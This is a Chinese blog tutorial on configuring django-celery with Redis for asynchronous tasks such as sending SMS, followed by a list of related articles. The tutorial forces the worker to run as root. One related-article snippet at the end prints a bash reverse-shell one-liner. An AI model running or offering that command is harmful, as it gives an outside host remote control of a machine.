异步任务 ---- django-celery

 

大家的知道celery的使用,网上也有很多的教程。因为最近在使用django来完成项目,无意间发现发现有个东西叫django-celery,比celery的配置更加的简单,这里分享一下。

首先需要统一一下使用的环境,以为如果redis的版本过高会报错

推荐版本  

  Django == 2.2.6

  django-celery == 3.3.1

  django-redis == 4.11.0

  redis == 2.10.6

  celery == 3.1.26.post2

配置settings.py

  因为本机直接有redis,在这里我们直接使用redis作为我们的broker。当然,如果你追求稳定性和效率,也可使使用rabbitMQ或者kafka。  

#settings.py

import djcelery djcelery.setup_loader()
BROKER_URL = 'redis://127.0.0.1:6379/2' INSTALLED_APPS = [
...
"djcelery",
... ]

  创建Celery所需的数据表

python manage.py migrate
#如若不成功可以尝试一下命令语句
#python manage.py syncdb

创建task

  在app里建立tasks.py文件来写入需要执行的异步任务

a、当settings.py中的djcelery.setup_loader()运行时, Celery便会查看所有INSTALLED_APPS中app目录中的tasks.py文件, 找到标记为task的function, 并将它们注册为celery task.

  b、在执行djcelery.setup_loader()时, task是以INSTALLED_APPS中的app名, 加.tasks.function_name注册的

  c、一次需要注意 在impprt task时, 需要保持一致

  d、如果我们由于python path不同而使用不同的引用方式时(例如在tasks.py中使用from myproject.myapp.tasks import add形式), Celery将无法得知这是同一task, 因此可能会引起奇怪的bug。
 

让任务变成异步

  例如我们希望在用户发出request后异步执行该task, 马上返回response, 从而不阻塞该request, 使用户有一个流畅的访问过程. 那么, 我们可以使用.delay。

 Views.py

# -*- coding: utf-8 -*-
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.request import CommonRequest
from syl.settings import ALY_ACCESSKEY_ID,ALY_ACCESSKEY_SECRET
import json,time
from celery import task @task
def send_sms(phone,data): client = AcsClient(ALY_ACCESSKEY_ID,
ALY_ACCESSKEY_SECRET,
'cn-hangzhou') request = CommonRequest()
request.set_accept_format('json')
request.set_domain('dysmsapi.aliyuncs.com')
request.set_method('POST')
request.set_protocol_type('https') # https | http
request.set_version('2017-05-25')
request.set_action_name('SendSms') request.add_query_param('RegionId', "cn-hangzhou")
request.add_query_param('PhoneNumbers',phone)
request.add_query_param('SignName', "美多商城")
request.add_query_param('TemplateCode', "SMS_205402983")
request.add_query_param('TemplateParam',data) response1 = client.do_action(request)
# python2: print(response)
print(str(response1, encoding='utf-8'))
res = json.loads(str(response1,encoding='utf-8'))
time.sleep(5)

verifications/tasks.py

启动celery

  首先正常启动你的django任务,然后启动celery服务即可。

python manage.py celery worker --loglevel=info

  如果报错不让超级管理员来启动,在settings.py加入以下配置

from celery import Celery, platforms
platforms.C_FORCE_ROOT = True

验证celery任务

  在搞定上面的东西以后,你就可以通过postman来请求接口让接口使用celery来异步执行任务而不阻塞你的request请求。

注意

celery与3.7版本兼容问题
在 celery 官方的提议下,建议将 async 文件的文件名改成 asynchronous

Python37\Lib\site-packages\kombu\async

需要修改的文件
Python37\Lib\site-packages\celery\utils\timer2.py

Python37\lib\site-packages\celery\concurrency\asynpool.py

Python37\lib\site-packages\celery\worker\components.py

Python37\lib\site-packages\celery\worker\autoscale.py

Python37\lib\site-packages\celery\worker\consumer.py

  

 
 
 

异步任务-----django-celery的更多相关文章

  1. Django 异步化库celery和定时任务

    首先要了解Django其实是个同步框架,那么多个用户发送请求时就会发生排队的情况上一个用户的请求完成后在进行下一个,这样会对影响用户体验,所有就要用到异步方法来解决. 首先我们要安装celery库 p ...

  2. django celery异步框架

    描述:实现运维平台的异步执行与定时任务,以下简单描述了安装过程及使用.   安装django和celery pip install django pip install celery pip inst ...

  3. Django+Celery+xadmin实现异步任务和定时任务

    Django+Celery+xadmin实现异步任务和定时任务 关注公众号"轻松学编程"了解更多. 一.celery介绍 1.简介 [官网]http://www.celerypro ...

  4. 异步任务利器Celery(一)介绍

    django项目开发中遇到过一些问题,发送请求后服务器要进行一系列耗时非常长的操作,用户要等待很久的时间.可不可以立刻对用户返回响应,然后在后台运行那些操作呢? crontab定时任务很难达到这样的要 ...

  5. django celery redis 定时任务

    0.目的 在开发项目中,经常有一些操作时间比较长(生产环境中超过了nginx的timeout时间),或者是间隔一段时间就要执行的任务. 在这种情况下,使用celery就是一个很好的选择.   cele ...

  6. django+celery+redis实现运行定时任务

    0.目的 在开发项目中,经常有一些操作时间比较长(生产环境中超过了nginx的timeout时间),或者是间隔一段时间就要执行的任务. 在这种情况下,使用celery就是一个很好的选择.   cele ...

  7. django & celery - 关于并发处理能力和内存使用的小结

    背景 众所周知,celery 是python世界里处理分布式任务的好助手,它的出现结合赋予了我们强大的处理异步请求,分布式任务,周期任务等复杂场景的能力. 然鹅,今天我们所要讨论的则是如何更好的在使用 ...

  8. Django + Celery 实现动态配置定时任务

    哈喽,今天给大家分享一篇Django+Celery实现动态配置定时任务,因为最近也是无意间看到一位大佬关于这块的文章,然后自己觉得不错,也想学习写一下,然后最终实现功能是在前端页面统一管理计划任务,大 ...

  9. django+celery+redis环境搭建

    初次尝试搭建django+celery+redis环境,记录下来,慢慢学习~ 1.安装apache 下载httpd-2.0.63.tar.gz,解压tar zxvf httpd-2.0.63.tar. ...

  10. 基于Django+celery二次开发动态配置定时任务 ( 一 )

    需求: 前端时间由于开发新上线一大批系统,上完之后没有配套的报表系统.监控,于是乎开发.测试.产品.运营.业务部.财务等等各个部门就跟那饥渴的饿狼一样需要 各种各样的系统数据满足他们.刚开始一天一个还 ...

随机推荐

  1. pyspark计算最大值、最小值、平均值

    需求:使用pyspark计算相同key的最大值.最小值.平均值 说明: 最大值和最小值好计算,直接reduceByKey后使用python内置的max.min方法 平均值计算提供两种计算方法,直接先上 ...

  2. Centos7安 装python3+Selenium+chrome+chromedriver

    Centos7安装python3+Selenium+chrome+chromedriver详细python2和python3共存,Selenium错误的处理更新Centos源 wget -O /etc ...

  3. 【KataDaily 191015】Sort the Gift Code

    题目: Happy Holidays fellow Code Warriors! Santa's senior gift organizer Elf developed a way to repres ...

  4. 解决windows下Chrome78以上跨域失效问题

    1. 为什么需要解决chrome浏览器跨域的问题? 基于Hybird App的H5部分,可以直接打包进apk或者ipa包中,在开发过程中也不需要放置到临时搭建的服务器上,直接在本地打开html静态页面 ...

  5. mongoDB之在windows下的安装

    mongoDB官网http://www.mongodb.org/对mongoDB的描述: MongoDB (from "humongous") is an open-source ...

  6. Thinkphp3.2 cms之权限管理

    五.权限管理 <?php namespace Admin\Controller; use Think\Controller; class CommonController extends Con ...

  7. waeshall算法原理和实现

    传递闭包Warshall方法简要介绍 ① 在集合X上的二元关系R的传递闭包是包含R的X上的最小的传递关系.R的传递闭包在数字图像处理的图像和视觉基础.图的连通性描述等方面都是基本概念.一般用B表示定义 ...

  8. 处理Ceph osd的journal的uuid问题

    前言 之前有一篇文章介绍的是,在centos7的jewel下面如果自己做的分区如何处理自动挂载的问题,当时的环境对journal的地方采取的是文件的形式处理的,这样就没有了重启后journal的磁盘偏 ...

  9. Python 调用Get接口

    import requests,jsonurl = 'http://localhost:30627/api/jobs/GetNuberId?id=2'req = requests.get(url)re ...

  10. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...